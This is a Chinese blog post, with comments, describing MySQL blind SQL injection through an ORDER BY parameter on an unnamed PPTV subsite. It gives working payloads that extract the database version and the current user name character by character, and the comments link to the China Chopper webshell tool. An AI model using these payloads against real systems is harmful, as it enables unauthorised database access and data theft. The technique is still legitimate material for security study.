原文已经应要求删除了,后来想了想觉得我还是有必要记录一下的,只不过不再类似之前实战或现场直播带插图式,不提名挂号。更新一次博客不容易呀!
有个注入点接收如下几个参数:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1
根据这几个参数,大致就可以猜出SQL语句如下:
SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0;
一般注入的时候都是用“category = 4 and where 1=2 union select …”或“limit 0,1 union select …”来改变结果集的,但从上面的SQL看来后者是不行的,因为在“order by”后面不能出现“union”,而category参数也做了过滤,也就行不通了。
现在只能在orderColumn这个参数上下功夫了,它改变不了查询结果,但是可以想办法它查询成功或查询出错,这样就可以盲注了,这里参考了一下老君的文章:http://www.oldjun.com/blog/index.php/archives/62/
然后开始拼装SQL:
查版本:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名长度:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名第一个字符内容:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1
以此类推,什么库名,表明,字段,数据都能搞出来,只是手工盲注太累人了…
就这么着吧,不过感觉这东西还可以再深入研究。
我好奇。图片几个图片里面都是什么工具?WVS?看着和我的不一样呢。。。
第一个是菜刀,后面的都是WVS,我用的是8.x版。
中国菜刀~~~呵呵~~~向你学习。呵呵
@ccms
http://www.maicaidao.com/
@Neeke 回复挺快啊。找到了。3Q
不快不行啊
。。。。。你删除的也挺快的啊!!我今天刚想好好研究下~
被PPTV的人要求删掉了,我正在重新改文章,稍后更新上去。
郁闷。只要看快照去了。。。
他们事真多。。。
昨天晚上RSS里看到结果发现打不开你站,今天能打开结果文章就变这样了 PPTV的人联系你了?
呵呵 是啊,被联系了,昨天下午的时候就已经删了,然后重新修改成这样了。
木有看到原文很遗憾
貌似百度快照还有,搜“PPTV(PPLIVE)某分站MySQL盲注”能搜到。
不得不說 有事用命令 還是挺方便的
哈哈 工具是死的,人是活的嘛。
哈哈,有黑客啊。。。。
咦,谈个盲注就成黑客啦?
学习不可哦,呵呵
逗号前面的话没读懂。
请查看百度快照。
都是高手啊,还搞盲注
搞盲注的不一定就是高手,高手不一定就搞盲注。